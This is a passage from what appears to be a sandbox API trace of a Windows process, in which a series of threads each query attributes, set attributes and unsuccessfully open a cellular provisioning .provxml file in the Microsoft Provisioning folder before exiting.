returned 0x20 [0182.097] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\576__Connections_Cellular_o2 (Germany)_i0$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0182.097] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\576__Connections_Cellular_o2 (Germany)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\576__connections_cellular_o2 (germany)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0182.097] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\576__Connections_Cellular_o2 (Germany)_i0$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0182.098] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f9a938) returned 1 [0182.098] RtlExitUserThread (Status=0x0) Thread: id = 3179 os_tid = 0x10ec [0182.099] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\577__Connections_Cellular_o2 (Germany)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\577__connections_cellular_o2 (germany)_i0$(__mvid)@wap.provxml")) returned 0x20 [0182.099] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\577__Connections_Cellular_o2 (Germany)_i0$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0182.099] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\577__Connections_Cellular_o2 (Germany)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\577__connections_cellular_o2 (germany)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0182.099] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\577__Connections_Cellular_o2 (Germany)_i0$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0182.099] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f9a6a8) returned 1 [0182.099] RtlExitUserThread (Status=0x0) Thread: id = 3180 os_tid = 0x11d0 [0182.100] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\578__Connections_Cellular_o2 (Germany)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\578__connections_cellular_o2 (germany)_i0$(__mvid)@wap.provxml")) returned 0x20 [0182.100] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\578__Connections_Cellular_o2 (Germany)_i0$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0182.100] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\578__Connections_Cellular_o2 (Germany)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\578__connections_cellular_o2 (germany)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0182.100] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\578__Connections_Cellular_o2 (Germany)_i0$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0182.101] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f9ae58) returned 1 [0182.101] RtlExitUserThread (Status=0x0) Thread: id = 3181 os_tid = 0x11d4 [0182.102] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\579__Connections_Cellular_o2 (Germany)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\579__connections_cellular_o2 (germany)_i0$(__mvid)@wap.provxml")) returned 0x20 [0182.102] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\579__Connections_Cellular_o2 (Germany)_i0$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0182.102] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\579__Connections_Cellular_o2 (Germany)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\579__connections_cellular_o2 (germany)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0182.102] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\579__Connections_Cellular_o2 (Germany)_i0$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0182.102] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f9afa0) returned 1 [0182.102] RtlExitUserThread (Status=0x0) Thread: id = 3182 os_tid = 0x1214 [0182.103] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\57__Connections_Cellular_TIM (Brazil)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\57__connections_cellular_tim (brazil)_i0$(__mvid)@wap.provxml")) returned 0x20 [0182.104] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\57__Connections_Cellular_TIM (Brazil)_i0$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0182.104] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\57__Connections_Cellular_TIM (Brazil)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\57__connections_cellular_tim (brazil)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0182.104] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\57__Connections_Cellular_TIM (Brazil)_i0$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0182.104] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f6ab60) returned 1 [0182.104] RtlExitUserThread (Status=0x0) Thread: id = 3183 os_tid = 0x1258 [0182.105] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\580__Connections_Cellular_o2 (Germany)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\580__connections_cellular_o2 (germany)_i0$(__mvid)@wap.provxml")) returned 0x20 [0182.105] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\580__Connections_Cellular_o2 (Germany)_i0$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0182.105] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\580__Connections_Cellular_o2 (Germany)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\580__connections_cellular_o2 (germany)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0182.105] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\580__Connections_Cellular_o2 (Germany)_i0$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0182.105] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f9b0e8) returned 1 [0182.105] RtlExitUserThread (Status=0x0) Thread: id = 3184 os_tid = 0x104c [0182.106] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\581__Connections_Cellular_o2 (Germany)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\581__connections_cellular_o2 (germany)_i0$(__mvid)@wap.provxml")) returned 0x20 [0182.107] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\581__Connections_Cellular_o2 (Germany)_i0$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0182.107] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\581__Connections_Cellular_o2 (Germany)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\581__connections_cellular_o2 (germany)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0182.107] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\581__Connections_Cellular_o2 (Germany)_i0$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0182.107] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f99b20) returned 1 [0182.107] RtlExitUserThread (Status=0x0) Thread: id = 3185 os_tid = 0x11ec [0182.108] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\582__Connections_Cellular_o2 (Germany)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\582__connections_cellular_o2 (germany)_i0$(__mvid)@wap.provxml")) returned 0x20 [0182.108] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\582__Connections_Cellular_o2 (Germany)_i0$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0182.109] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\582__Connections_Cellular_o2 (Germany)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\582__connections_cellular_o2 (germany)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0182.109] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\582__Connections_Cellular_o2 (Germany)_i0$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0182.109] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f9b230) returned 1 [0182.109] RtlExitUserThread (Status=0x0) Thread: id = 3186 os_tid = 0x12c4 [0182.110] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\583__Connections_Cellular_o2 (Germany)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\583__connections_cellular_o2 (germany)_i0$(__mvid)@wap.provxml")) returned 0x20 [0182.110] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\583__Connections_Cellular_o2 (Germany)_i0$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0182.110] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\583__Connections_Cellular_o2 (Germany)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\583__connections_cellular_o2 (germany)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0182.110] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\583__Connections_Cellular_o2 (Germany)_i0$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0182.110] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f9b378) returned 1 [0182.111] RtlExitUserThread (Status=0x0) Thread: id = 3187 os_tid = 0x12d0 [0182.111] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\584__Connections_Cellular_o2 (Germany)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\584__connections_cellular_o2 (germany)_i0$(__mvid)@wap.provxml")) returned 0x20 [0182.114] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\584__Connections_Cellular_o2 (Germany)_i0$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0182.114] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\584__Connections_Cellular_o2 (Germany)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\584__connections_cellular_o2 (germany)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0182.114] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\584__Connections_Cellular_o2 (Germany)_i0$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0182.114] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f9abc8) returned 1 [0182.114] RtlExitUserThread (Status=0x0) Thread: id = 3188 os_tid = 0x12e8 [0182.115] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\585__Connections_Cellular_o2 (Germany)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\585__connections_cellular_o2 (germany)_i0$(__mvid)@wap.provxml")) returned 0x20 [0182.116] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\585__Connections_Cellular_o2 (Germany)_i0$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0182.116] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\585__Connections_Cellular_o2 (Germany)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\585__connections_cellular_o2 (germany)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0182.116] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\585__Connections_Cellular_o2 (Germany)_i0$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0182.116] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f99ef8) returned 1 [0182.116] RtlExitUserThread (Status=0x0) Thread: id = 3189 os_tid = 0x12f4 [0182.120] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\586__Connections_Cellular_o2 (Germany)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\586__connections_cellular_o2 (germany)_i0$(__mvid)@wap.provxml")) returned 0x20 [0182.121] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\586__Connections_Cellular_o2 (Germany)_i0$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0182.121] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\586__Connections_Cellular_o2 (Germany)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\586__connections_cellular_o2 (germany)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0182.121] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\586__Connections_Cellular_o2 (Germany)_i0$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0182.121] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f9b4c0) returned 1 [0182.121] RtlExitUserThread (Status=0x0) Thread: id = 3190 os_tid = 0x12f8 [0182.124] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\587__Connections_Cellular_o2 (Germany)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\587__connections_cellular_o2 (germany)_i0$(__mvid)@wap.provxml")) returned 0x20 [0182.125] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\587__Connections_Cellular_o2 (Germany)_i0$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0182.125] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\587__Connections_Cellular_o2 (Germany)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\587__connections_cellular_o2 (germany)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0182.125] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\587__Connections_Cellular_o2 (Germany)_i0$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0182.125] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f9aa80) returned 1 [0182.125] RtlExitUserThread (Status=0x0) Thread: id = 3191 os_tid = 0x1300 [0182.126] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\588__Connections_Cellular_o2 (Germany)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\588__connections_cellular_o2 (germany)_i0$(__mvid)@wap.provxml")) returned 0x20 [0182.126] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\588__Connections_Cellular_o2 (Germany)_i0$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0182.126] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\588__Connections_Cellular_o2 (Germany)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\588__connections_cellular_o2 (germany)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0182.126] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\588__Connections_Cellular_o2 (Germany)_i0$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0182.127] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f9b608) returned 1 [0182.127] RtlExitUserThread (Status=0x0) Thread: id = 3192 os_tid = 0x10e4 [0182.128] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\589__Connections_Cellular_o2 (Germany)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\589__connections_cellular_o2 (germany)_i0$(__mvid)@wap.provxml")) returned 0x20 [0182.128] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\589__Connections_Cellular_o2 (Germany)_i0$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0182.128] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\589__Connections_Cellular_o2 (Germany)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\589__connections_cellular_o2 (germany)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0182.128] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\589__Connections_Cellular_o2 (Germany)_i0$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0182.128] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f9a2d0) returned 1 [0182.128] RtlExitUserThread (Status=0x0) Thread: id = 3193 os_tid = 0x130c [0182.129] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\58__Connections_Cellular_Vivo (Brazil)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\58__connections_cellular_vivo (brazil)_i0$(__mvid)@wap.provxml")) returned 0x20 [0182.129] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\58__Connections_Cellular_Vivo (Brazil)_i0$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0182.129] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\58__Connections_Cellular_Vivo (Brazil)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\58__connections_cellular_vivo (brazil)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0182.130] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\58__Connections_Cellular_Vivo (Brazil)_i0$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0182.130] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f9b750) returned 1 [0182.130] RtlExitUserThread (Status=0x0) Thread: id = 3194 os_tid = 0x11e0 [0182.131] 